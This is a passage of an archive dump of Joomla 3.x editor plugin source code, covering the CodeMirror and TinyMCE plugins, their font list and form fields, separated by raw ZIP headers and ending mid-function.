		if ($done)
		{
			return;
		}

		$done = true;

		// Most likely need this later
		$doc = JFactory::getDocument();

		// Codemirror shall have its own group of plugins to modify and extend its behavior
		JPluginHelper::importPlugin('editors_codemirror');
		$dispatcher	= JEventDispatcher::getInstance();

		// At this point, params can be modified by a plugin before going to the layout renderer.
		$dispatcher->trigger('onCodeMirrorBeforeInit', array(&$this->params));

		$displayData = (object) array('params'  => $this->params);

		// We need to do output buffering here because layouts may actually 'echo' things which we do not want.
		ob_start();
		JLayoutHelper::render('editors.codemirror.init', $displayData, __DIR__ . '/layouts');
		ob_end_clean();

		$font = $this->params->get('fontFamily', '0');
		$fontInfo = $this->getFontInfo($font);

		if (isset($fontInfo))
		{
			if (isset($fontInfo->url))
			{
				$doc->addStyleSheet($fontInfo->url);
			}

			if (isset($fontInfo->css))
			{
				$displayData->fontFamily = $fontInfo->css . '!important';
			}
		}

		// We need to do output buffering here because layouts may actually 'echo' things which we do not want.
		ob_start();
		JLayoutHelper::render('editors.codemirror.styles', $displayData, __DIR__ . '/layouts');
		ob_end_clean();

		$dispatcher->trigger('onCodeMirrorAfterInit', array(&$this->params));
	}

	/**
	 * Copy editor content to form field.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Code executes directly on submit
	 */
	public function onSave($id)
	{
		return sprintf('document.getElementById(%1$s).value = Joomla.editors.instances[%1$s].getValue();', json_encode((string) $id));
	}

	/**
	 * Get the editor content.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return sprintf('Joomla.editors.instances[%1$s].getValue();', json_encode((string) $id));
	}

	/**
	 * Set the editor content.
	 *
	 * @param   string  $id       The id of the editor field.
	 * @param   string  $content  The content to set.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $content)
	{
		return sprintf('Joomla.editors.instances[%1$s].setValue(%2$s);', json_encode((string) $id), json_encode((string) $content));
	}

	/**
	 * Adds the editor specific insert method.
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Code is loaded in the init script
	 */
	public function onGetInsertMethod()
	{
		static $done = false;

		// Do this only once.
		if ($done)
		{
			return true;
		}

		$done = true;

		JFactory::getDocument()->addScriptDeclaration("
		;function jInsertEditorText(text, editor) { Joomla.editors.instances[editor].replaceSelection(text); }
		");

		return true;
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The control name.
	 * @param   string   $content  The contents of the text area.
	 * @param   string   $width    The width of the text area (px or %).
	 * @param   string   $height   The height of the text area (px or %).
	 * @param   int      $col      The number of columns for the textarea.
	 * @param   int      $row      The number of rows for the textarea.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea (note: since 1.6). If not supplied the name is used.
	 * @param   string   $asset    Not used.
	 * @param   object   $author   Not used.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string  HTML
	 */
	public function onDisplay(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		// True if a CodeMirror already has autofocus. Prevent multiple autofocuses.
		static $autofocused;

		$id = empty($id) ? $name : $id;

		// Must pass the field id to the buttons in this editor.
		$buttons = $this->displayButtons($id, $buttons, $asset, $author);

		// Only add "px" to width and height if they are not given as a percentage.
		$width .= is_numeric($width) ? 'px' : '';
		$height .= is_numeric($height) ? 'px' : '';

		// Options for the CodeMirror constructor.
		$options = new stdClass;

		// Is field readonly?
		if (!empty($params['readonly']))
		{
			$options->readOnly = 'nocursor';
		}

		// Should we focus on the editor on load?
		if (!$autofocused)
		{
			$options->autofocus = isset($params['autofocus']) ? (bool) $params['autofocus'] : false;
			$autofocused = $options->autofocus;
		}

		$options->lineWrapping = (boolean) $this->params->get('lineWrapping', 1);

		// Add styling to the active line.
		$options->styleActiveLine = (boolean) $this->params->get('activeLine', 1);

		// Do we highlight selection matches?
		if ($this->params->get('selectionMatches', 1))
		{
			$options->highlightSelectionMatches = array(
					'showToken' => true,
					'annotateScrollbar' => true,
				);
		}

		// Do we use line numbering?
		if ($options->lineNumbers = (boolean) $this->params->get('lineNumbers', 1))
		{
			$options->gutters[] = 'CodeMirror-linenumbers';
		}

		// Do we use code folding?
		if ($options->foldGutter = (boolean) $this->params->get('codeFolding', 1))
		{
			$options->gutters[] = 'CodeMirror-foldgutter';
		}

		// Do we use a marker gutter?
		if ($options->markerGutter = (boolean) $this->params->get('markerGutter', $this->params->get('marker-gutter', 1)))
		{
			$options->gutters[] = 'CodeMirror-markergutter';
		}

		// Load the syntax mode.
		$syntax = !empty($params['syntax'])
			? $params['syntax']
			: $this->params->get('syntax', 'html');
		$options->mode = isset($this->modeAlias[$syntax]) ? $this->modeAlias[$syntax] : $syntax;

		// Load the theme if specified.
		if ($theme = $this->params->get('theme'))
		{
			$options->theme = $theme;
			JHtml::_('stylesheet', $this->params->get('basePath', 'media/editors/codemirror/') . 'theme/' . $theme . '.css', array('version' => 'auto'));
		}

		// Special options for tagged modes (xml/html).
		if (in_array($options->mode, array('xml', 'html', 'php')))
		{
			// Autogenerate closing tags (html/xml only).
			$options->autoCloseTags = (boolean) $this->params->get('autoCloseTags', 1);

			// Highlight the matching tag when the cursor is in a tag (html/xml only).
			$options->matchTags = (boolean) $this->params->get('matchTags', 1);
		}

		// Special options for non-tagged modes.
		if (!in_array($options->mode, array('xml', 'html')))
		{
			// Autogenerate closing brackets.
			$options->autoCloseBrackets = (boolean) $this->params->get('autoCloseBrackets', 1);

			// Highlight the matching bracket.
			$options->matchBrackets = (boolean) $this->params->get('matchBrackets', 1);
		}

		$options->scrollbarStyle = $this->params->get('scrollbarStyle', 'native');

		// KeyMap settings.
		$options->keyMap = $this->params->get('keyMap', false);

		// Support for older settings.
		if ($options->keyMap === false)
		{
			$options->keyMap = $this->params->get('vimKeyBinding', 0) ? 'vim' : 'default';
		}

		if ($options->keyMap && $options->keyMap != 'default')
		{
			$this->loadKeyMap($options->keyMap);
		}

		$displayData = (object) array(
				'options' => $options,
				'params'  => $this->params,
				'name'    => $name,
				'id'      => $id,
				'cols'    => $col,
				'rows'    => $row,
				'content' => $content,
				'buttons' => $buttons
			);

		$dispatcher = JEventDispatcher::getInstance();

		// At this point, displayData can be modified by a plugin before going to the layout renderer.
		$results = $dispatcher->trigger('onCodeMirrorBeforeDisplay', array(&$displayData));

		$results[] = JLayoutHelper::render('editors.codemirror.element', $displayData, __DIR__ . '/layouts', array('debug' => JDEBUG));

		foreach ($dispatcher->trigger('onCodeMirrorAfterDisplay', array(&$displayData)) as $result)
		{
			$results[] = $result;
		}

		return implode("\n", $results);
	}

	/**
	 * Displays the editor buttons.
	 *
	 * @param   string  $name     Button name.
	 * @param   mixed   $buttons  [array with button objects | boolean true to display buttons]
	 * @param   mixed   $asset    Unused.
	 * @param   mixed   $author   Unused.
	 *
	 * @return  string  HTML
	 */
	protected function displayButtons($name, $buttons, $asset, $author)
	{
		$return = '';

		$args = array(
			'name'  => $name,
			'event' => 'onGetInsertMethod'
		);

		$results = (array) $this->update($args);

		if ($results)
		{
			foreach ($results as $result)
			{
				if (is_string($result) && trim($result))
				{
					$return .= $result;
				}
			}
		}

		if (is_array($buttons) || (is_bool($buttons) && $buttons))
		{
			$buttons = $this->_subject->getButtons($name, $buttons, $asset, $author);

			$return .= JLayoutHelper::render('joomla.editors.buttons', $buttons);
		}

		return $return;
	}

	/**
	 * Gets font info from the json data file
	 *
	 * @param   string  $font  A key from the $fonts array.
	 *
	 * @return  object
	 */
	protected function getFontInfo($font)
	{
		static $fonts;

		if (!$fonts)
		{
			$fonts = json_decode(file_get_contents(__DIR__ . '/fonts.json'), true);
		}

		return isset($fonts[$font]) ? (object) $fonts[$font] : null;
	}

	/**
	 * Loads a keyMap file
	 *
	 * @param   string  $keyMap  The name of a keyMap file to load.
	 *
	 * @return  void
	 */
	protected function loadKeyMap($keyMap)
	{
		$basePath = $this->params->get('basePath', 'media/editors/codemirror/');
		$ext = JDEBUG ? '.js' : '.min.js';
		JHtml::_('script', $basePath . 'keymap/' . $keyMap . $ext, array('version' => 'auto'));
	}
}
PK�(]>MDDeditors/codemirror/fonts.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Supports an HTML select list of fonts
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 * @since       3.4
 */
class JFormFieldFonts extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.4
	 */
	protected $type = 'Fonts';

	/**
	 * Method to get the list of fonts field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.4
	 */
	protected function getOptions()
	{
		$fonts = json_decode(file_get_contents(__DIR__ . '/fonts.json'));
		$options = array();

		foreach ($fonts as $key => $info)
		{
			$options[] = JHtml::_('select.option', $key, $info->name);
		}

		// Merge any additional options in the XML definition.
		return array_merge(parent::getOptions(), $options);
	}
}
PK�(]���--editors/codemirror/fonts.jsonnu�[���{
	"anonymous_pro": {
		"name": "Anonymous Pro",
		"url": "https://fonts.googleapis.com/css?family=Anonymous+Pro",
		"css": "'Anonymous Pro', monospace"
	},
	"cousine": {
		"name": "Cousine",
		"url": "https://fonts.googleapis.com/css?family=Cousine",
		"css": "Cousine, monospace"
	},
	"cutive_mono": {
		"name": "Cutive Mono",
		"url": "https://fonts.googleapis.com/css?family=Cutive+Mono",
		"css": "'Cutive Mono', monospace"
	},
	"droid_sans_mono": {
		"name": "Droid Sans Mono",
		"url": "https://fonts.googleapis.com/css?family=Droid+Sans+Mono",
		"css": "'Droid Sans Mono', monospace"
	},
	"fira_mono": {
		"name": "Fira Mono",
		"url": "https://fonts.googleapis.com/css?family=Fira+Mono",
		"css": "'Fira Mono', monospace"
	},
	"ibm_plex_mono": {
		"name": "IBM Plex Mono",
		"url": "https://fonts.googleapis.com/css?family=IBM+Plex+Mono",
		"css": "'IBM Plex Mono', monospace;"
	},
	"inconsolata": {
		"name": "Inconsolata",
		"url": "https://fonts.googleapis.com/css?family=Inconsolata",
		"css": "Inconsolata, monospace"
	},
	"lekton": {
		"name": "Lekton",
		"url": "https://fonts.googleapis.com/css?family=Lekton",
		"css": "Lekton, monospace"
	},
	"nanum_gothic_coding": {
		"name": "Nanum Gothic Coding",
		"url": "https://fonts.googleapis.com/css?family=Nanum+Gothic+Coding",
		"css": "'Nanum Gothic Coding', monospace"
	},
	"nova_mono": {
		"name": "Nova Mono",
		"url": "https://fonts.googleapis.com/css?family=Nova+Mono",
		"css": "'Nova Mono', monospace"
	},
	"overpass_mono": {
		"name": "Overpass Mono",
		"url": "https://fonts.googleapis.com/css?family=Overpass+Mono",
		"css": "'Overpass Mono', monospace"
	},
	"oxygen_mono": {
		"name": "Oxygen Mono",
		"url": "https://fonts.googleapis.com/css?family=Oxygen+Mono",
		"css": "'Oxygen Mono', monospace"
	},
	"press_start_2p": {
		"name": "Press Start 2P",
		"url": "https://fonts.googleapis.com/css?family=Press+Start+2P",
		"css": "'Press Start 2P', monospace"
	},
	"pt_mono": {
		"name": "PT Mono",
		"url": "https://fonts.googleapis.com/css?family=PT+Mono",
		"css": "'PT Mono', monospace"
	},
	"roboto_mono": {
		"name": "Roboto Mono",
		"url": "https://fonts.googleapis.com/css?family=Roboto+Mono",
		"css": "'Roboto Mono', monospace"
	},
	"rubik_mono_one": {
		"name": "Rubik Mono One",
		"url": "https://fonts.googleapis.com/css?family=Rubik+Mono+One",
		"css": "'Rubik Mono One', monospace"
	},
	"share_tech_mono": {
		"name": "Share Tech Mono",
		"url": "https://fonts.googleapis.com/css?family=Share+Tech+Mono",
		"css": "'Share Tech Mono', monospace"
	},
	"source_code_pro": {
		"name": "Source Code Pro",
		"url": "https://fonts.googleapis.com/css?family=Source+Code+Pro",
		"css": "'Source Code Pro', monospace"
	},
	"space_mono": {
		"name": "Space Mono",
		"url": "https://fonts.googleapis.com/css?family=Space+Mono",
		"css": "'Space Mono', monospace"
	},
	"ubuntu_mono": {
		"name": "Ubuntu Mono",
		"url": "https://fonts.googleapis.com/css?family=Ubuntu+Mono",
		"css": "'Ubuntu Mono', monospace"
	},
	"vt323": {
		"name": "VT323",
		"url": "https://fonts.googleapis.com/css?family=VT323",
		"css": "'VT323', monospace"
	}
}
PK�(]X�ʬ��editors/tinymce/field/skins.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.form.helper');

JFormHelper::loadFieldClass('list');

/**
 * Generates the list of options for available skins.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.4
 */
class JFormFieldSkins extends JFormFieldList
{
	protected $type = 'skins';

	/**
	 * Method to get the skins options.
	 *
	 * @return  array  The skins option objects.
	 *
	 * @since   3.4
	 */
	public function getOptions()
	{
		$options = array();

		$directories = glob(JPATH_ROOT . '/media/editors/tinymce/skins' . '/*', GLOB_ONLYDIR);

		for ($i = 0, $iMax = count($directories); $i < $iMax; ++$i)
		{
			$dir = basename($directories[$i]);
			$options[] = JHtml::_('select.option', $i, $dir);
		}

		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}

	/**
	 * Method to get the field input markup for the list of skins.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.4
	 */
	protected function getInput()
	{
		$html = array();

		// Get the field options.
		$options = (array) $this->getOptions();

		// Create a regular list.
		$html[] = JHtml::_('select.genericlist', $options, $this->name, '', 'value', 'text', $this->value, $this->id);

		return implode($html);
	}
}
PK�(]���h	h	$editors/tinymce/field/uploaddirs.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.form.helper');

JFormHelper::loadFieldClass('folderlist');

/**
 * Generates the list of directories  available for drag and drop upload.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.7.0
 */
class JFormFieldUploaddirs extends JFormFieldFolderList
{
	protected $type = 'uploaddirs';

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.7.0
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		// Get the path in which to search for file options.
		$this->directory   = JComponentHelper::getParams('com_media')->get('image_path');
		$this->recursive   = true;
		$this->hideDefault = true;

		return $return;
	}

	/**
	 * Method to get the directories options.
	 *
	 * @return  array  The dirs option objects.
	 *
	 * @since   3.7.0
	 */
	public function getOptions()
	{
		return parent::getOptions();
	}

	/**
	 * Method to get the field input markup for the list of directories.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.7.0
	 */
	protected function getInput()
	{
		$html = array();

		// Get the field options.
		$options = (array) $this->getOptions();

		// Reset the non selected value to null
		if ($options[0]->value === '-1')
		{
			$options[0]->value = '';
		}

		// Create a regular list.
		$html[] = JHtml::_('select.genericlist', $options, $this->name, '', 'value', 'text', $this->value, $this->id);

		return implode($html);
	}
}
PK�(]w��--(editors/tinymce/field/tinymcebuilder.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Form Field class for the TinyMCE editor.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.7.0
 */
class JFormFieldTinymceBuilder extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $type = 'tinymcebuilder';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $layout = 'plugins.editors.tinymce.field.tinymcebuilder';

	/**
	 * The prepared layout data
	 *
	 * @var    array
	 * @since  3.7.0
	 */
	protected $layoutData = array();

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since  3.7.0
	 */
	protected function getLayoutData()
	{
		if (!empty($this->layoutData))
		{
			return $this->layoutData;
		}

		$data       = parent::getLayoutData();
		$paramsAll  = (object) $this->form->getValue('params');
		$setsAmount = empty($paramsAll->sets_amount) ? 3 : $paramsAll->sets_amount;

		if (empty($data['value']))
		{
			$data['value'] = array();
		}

		// Get the plugin
		require_once JPATH_PLUGINS . '/editors/tinymce/tinymce.php';

		$menus = array(
			'edit'   => array('label' => 'Edit'),
			'insert' => array('label' => 'Insert'),
			'view'   => array('label' => 'View'),
			'format' => array('label' => 'Format'),
			'table'  => array('label' => 'Table'),
			'tools'  => array('label' => 'Tools'),
		);

		$data['menus']         = $menus;
		$data['menubarSource'] = array_keys($menus);
		$data['buttons']       = PlgEditorTinymce::getKnownButtons();
		$data['buttonsSource'] = array_keys($data['buttons']);
		$data['toolbarPreset'] = PlgEditorTinymce::getToolbarPreset();
		$data['setsAmount']    = $setsAmount;

		// Get array of sets names
		for ($i = 0; $i < $setsAmount; $i++)
		{
			$data['setsNames'][$i] = JText::sprintf('PLG_TINY_SET_TITLE', $i);
		}

		// Prepare the forms for each set
		$setsForms  = array();
		$formsource = JPATH_PLUGINS . '/editors/tinymce/form/setoptions.xml';

		// Preload an old params for B/C
		$setParams = new stdClass;
		if (!empty($paramsAll->html_width) && empty($paramsAll->configuration['setoptions']))
		{
			$plugin = JPluginHelper::getPlugin('editors', 'tinymce');

			JFactory::getApplication()->enqueueMessage(JText::sprintf('PLG_TINY_LEGACY_WARNING', '#'), 'warning');

			if (is_object($plugin) && !empty($plugin->params))
			{
				$setParams = (object) json_decode($plugin->params);
			}
		}

		// Collect already used groups
		$groupsInUse = array();

		// Prepare the Set forms, for the set options
		foreach (array_keys($data['setsNames']) as $num)
		{
			$formname = 'set.form.' . $num;
			$control  = $this->name . '[setoptions][' . $num . ']';

			$setsForms[$num] = JForm::getInstance($formname, $formsource, array('control' => $control));

			// Check whether we already have saved values or it first time or even old params
			if (empty($this->value['setoptions'][$num]))
			{
				$formValues = $setParams;

				/*
				 * Predefine group:
				 * Set 0: for Administrator, Editor, Super Users (4,7,8)
				 * Set 1: for Registered, Manager (2,6), all else are public
				 */
				$formValues->access = !$num ? array(4,7,8) : ($num === 1 ? array(2,6) : array());

				// Assign Public to the new Set, but only when it not in use already
				if (empty($formValues->access) && !in_array(1, $groupsInUse))
				{
					$formValues->access = array(1);
				}
			}
			else
			{
				$formValues = (object) $this->value['setoptions'][$num];
			}

			// Collect already used groups
			if (!empty($formValues->access))
			{
				$groupsInUse = array_merge($groupsInUse, $formValues->access);
			}

			// Bind the values
			$setsForms[$num]->bind($formValues);
		}

		krsort($data['setsNames']);

		$data['setsForms'] = $setsForms;

		// Check for TinyMCE language file
		$language      = JFactory::getLanguage();
		$languageFile1 = 'media/editors/tinymce/langs/' . $language->getTag() . '.js';
		$languageFile2 = 'media/editors/tinymce/langs/' . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . '.js';

		$data['languageFile'] = '';

		if (file_exists(JPATH_ROOT . '/' . $languageFile1))
		{
			$data['languageFile'] = $languageFile1;
		}
		elseif (file_exists(JPATH_ROOT . '/' . $languageFile2))
		{
			$data['languageFile'] = $languageFile2;
		}

		$this->layoutData = $data;

		return $data;
	}

}
PK�(]�o�c��editors/tinymce/tinymce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="editors" method="upgrade">
	<name>plg_editors_tinymce</name>
	<version>4.5.12</version>
	<creationDate>2005-2020</creationDate>
	<author>Tiny Technologies, Inc</author>
	<authorEmail>N/A</authorEmail>
	<authorUrl>https://www.tiny.cloud</authorUrl>
	<copyright>Tiny Technologies, Inc</copyright>
	<license>LGPL</license>
	<description>PLG_TINY_XML_DESCRIPTION</description>
	<files>
		<filename plugin="tinymce">tinymce.php</filename>
		<folder>fields</folder>
		<folder>form</folder>
	</files>
	<media destination="editors" folder="media">
		<folder>tinymce</folder>
	</media>
	<languages>
		<language tag="en-GB">en-GB.plg_editors_tinymce.ini</language>
		<language tag="en-GB">en-GB.plg_editors_tinymce.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
				       name="configuration"
				       type="tinymcebuilder"
				       hiddenLabel="true"
				 />
			</fieldset>

			<fieldset name="advanced" label="PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS">
				<field
					name="sets_amount"
					type="number"
					label="PLG_TINY_FIELD_NUMBER_OF_SETS_LABEL"
					description="PLG_TINY_FIELD_NUMBER_OF_SETS_DESC"
					filter="int"
					validate="number"
					min="3"
					default="3"
				/>

				<field
					name="html_height"
					type="text"
					label="PLG_TINY_FIELD_HTMLHEIGHT_LABEL"
					description="PLG_TINY_FIELD_HTMLHEIGHT_DESC"
					default="550px"
				/>

				<field
					name="html_width"
					type="text"
					label="PLG_TINY_FIELD_HTMLWIDTH_LABEL"
					description="PLG_TINY_FIELD_HTMLWIDTH_DESC"
					default=""
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]��G~�~�editors/tinymce/tinymce.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

/**
 * TinyMCE Editor Plugin
 *
 * @since  1.5
 */
class PlgEditorTinymce extends JPlugin
{
	/**
	 * Base path for editor files
	 *
	 * @since  3.5
	 */
	protected $_basePath = 'media/editors/tinymce';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Loads the application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app = null;

	/**
	 * Initialises the Editor.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onInit()
	{
		JHtml::_('behavior.core');
		JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');
		JHtml::_('script', $this->_basePath . '/tinymce.min.js', array('version' => 'auto'));
		JHtml::_('script', 'editors/tinymce/tinymce.min.js', array('version' => 'auto', 'relative' => true));
	}

	/**
	 * TinyMCE WYSIWYG Editor - get the editor content
	 *
	 * @param   string  $id  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].getValue();';
	}

	/**
	 * TinyMCE WYSIWYG Editor - set the editor content
	 *
	 * @param   string  $id    The name of the editor
	 * @param   string  $html  The html to place in the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $html)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].setValue(' . json_encode($html) . ');';
	}

	/**
	 * TinyMCE WYSIWYG Editor - copy editor content to form field
	 *
	 * @param   string  $id  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSave($id)
	{
	}

	/**
	 * Inserts html code into the editor
	 *
	 * @param   string  $name  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 3.5 tinyMCE (API v4) will get the content automatically from the text area
	 */
	public function onGetInsertMethod($name)
	{
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The name of the editor area.
	 * @param   string   $content  The content of the field.
	 * @param   string   $width    The width of the editor area.
	 * @param   string   $height   The height of the editor area.
	 * @param   int      $col      The number of columns for the editor area.
	 * @param   int      $row      The number of rows for the editor area.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea. If not supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 */
	public function onDisplay(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		$app = JFactory::getApplication();

		// Check for old params for B/C
		$config_warn_count = $app->getUserState('plg_editors_tinymce.config_legacy_warn_count', 0);

		if ($this->params->exists('mode') && $this->params->exists('alignment'))
		{
			if ($app->isClient('administrator') && $config_warn_count < 2)
			{
				$link = JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . $this->getPluginId());
				$app->enqueueMessage(JText::sprintf('PLG_TINY_LEGACY_WARNING', $link), 'warning');
				$app->setUserState('plg_editors_tinymce.config_legacy_warn_count', ++$config_warn_count);
			}

			return $this->onDisplayLegacy($name, $content, $width, $height, $col, $row, $buttons, $id, $asset, $author, $params);
		}

		if (empty($id))
		{
			$id = $name;
		}

		$id            = preg_replace('/(\s|[^A-Za-z0-9_])+/', '_', $id);
		$nameGroup     = explode('[', preg_replace('/\[\]|\]/', '', $name));
		$fieldName     = end($nameGroup);
		$scriptOptions = array();

		// Check for existing options
		$doc     = JFactory::getDocument();
		$options = $doc->getScriptOptions('plg_editor_tinymce');

		// Only add "px" to width and height if they are not given as a percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		// Data object for the layout
		$textarea = new stdClass;
		$textarea->name    = $name;
		$textarea->id      = $id;
		$textarea->class   = 'mce_editable joomla-editor-tinymce';
		$textarea->cols    = $col;
		$textarea->rows    = $row;
		$textarea->width   = $width;
		$textarea->height  = $height;
		$textarea->content = $content;

		// Set editor to readonly mode
		$textarea->readonly = !empty($params['readonly']);

		// Render Editor markup
		$editor = '<div class="js-editor-tinymce">';
		$editor .= JLayoutHelper::render('joomla.tinymce.textarea', $textarea);
		$editor .= $this->_toogleButton($id);
		$editor .= '</div>';

		// Prepare the instance specific options, actually the ext-buttons
		if (empty($options['tinyMCE'][$fieldName]['joomlaExtButtons']))
		{
			$btns = $this->tinyButtons($id, $buttons);

			if (!empty($btns['names']))
			{
				JHtml::_('script', 'editors/tinymce/tiny-close.min.js', array('version' => 'auto', 'relative' => true), array('defer' => 'defer'));
			}

			// Set editor to readonly mode
			if (!empty($params['readonly']))
			{
				$options['tinyMCE'][$fieldName]['readonly'] = 1;
			}

			$options['tinyMCE'][$fieldName]['joomlaMergeDefaults'] = true;
			$options['tinyMCE'][$fieldName]['joomlaExtButtons']    = $btns;

			$doc->addScriptOptions('plg_editor_tinymce', $options, false);
		}

		// Setup Default (common) options for the Editor script

		// Check whether we already have them
		if (!empty($options['tinyMCE']['default']))
		{
			return $editor;
		}

		$user     = JFactory::getUser();
		$language = JFactory::getLanguage();
		$theme    = 'modern';
		$ugroups  = array_combine($user->getAuthorisedGroups(), $user->getAuthorisedGroups());

		// Prepare the parameters
		$levelParams      = new Joomla\Registry\Registry;
		$extraOptions     = new stdClass;
		$toolbarParams    = new stdClass;
		$extraOptionsAll  = $this->params->get('configuration.setoptions', array());
		$toolbarParamsAll = $this->params->get('configuration.toolbars', array());

		// Get configuration depend from User group
		foreach ($extraOptionsAll as $set => $val)
		{
			$val->access = empty($val->access) ? array() : $val->access;

			// Check whether User in one of allowed group
			foreach ($val->access as $group)
			{
				if (isset($ugroups[$group]))
				{
					$extraOptions  = $val;
					$toolbarParams = $toolbarParamsAll->$set;
				}
			}
		}

		// Merge the params
		$levelParams->loadObject($toolbarParams);
		$levelParams->loadObject($extraOptions);

		// List the skins
		$skindirs = glob(JPATH_ROOT . '/media/editors/tinymce/skins' . '/*', GLOB_ONLYDIR);

		// Set the selected skin
		$skin = 'lightgray';
		$side = $app->isClient('administrator') ? 'skin_admin' : 'skin';

		if ((int) $levelParams->get($side, 0) < count($skindirs))
		{
			$skin = basename($skindirs[(int) $levelParams->get($side, 0)]);
		}

		$langMode   = $levelParams->get('lang_mode', 1);
		$langPrefix = $levelParams->get('lang_code', 'en');

		if ($langMode)
		{
			if (file_exists(JPATH_ROOT . '/media/editors/tinymce/langs/' . $language->getTag() . '.js'))
			{
				$langPrefix = $language->getTag();
			}
			elseif (file_exists(JPATH_ROOT . '/media/editors/tinymce/langs/' . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . '.js'))
			{
				$langPrefix = substr($language->getTag(), 0, strpos($language->getTag(), '-'));
			}
			else
			{
				$langPrefix = 'en';
			}
		}

		$text_direction = 'ltr';

		if ($language->isRtl())
		{
			$text_direction = 'rtl';
		}

		$use_content_css    = $levelParams->get('content_css', 1);
		$content_css_custom = $levelParams->get('content_css_custom', '');

		/*
		 * Lets get the default template for the site application
		 */
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('template')
			->from('#__template_styles')
			->where('client_id=0 AND home=' . $db->quote('1'));

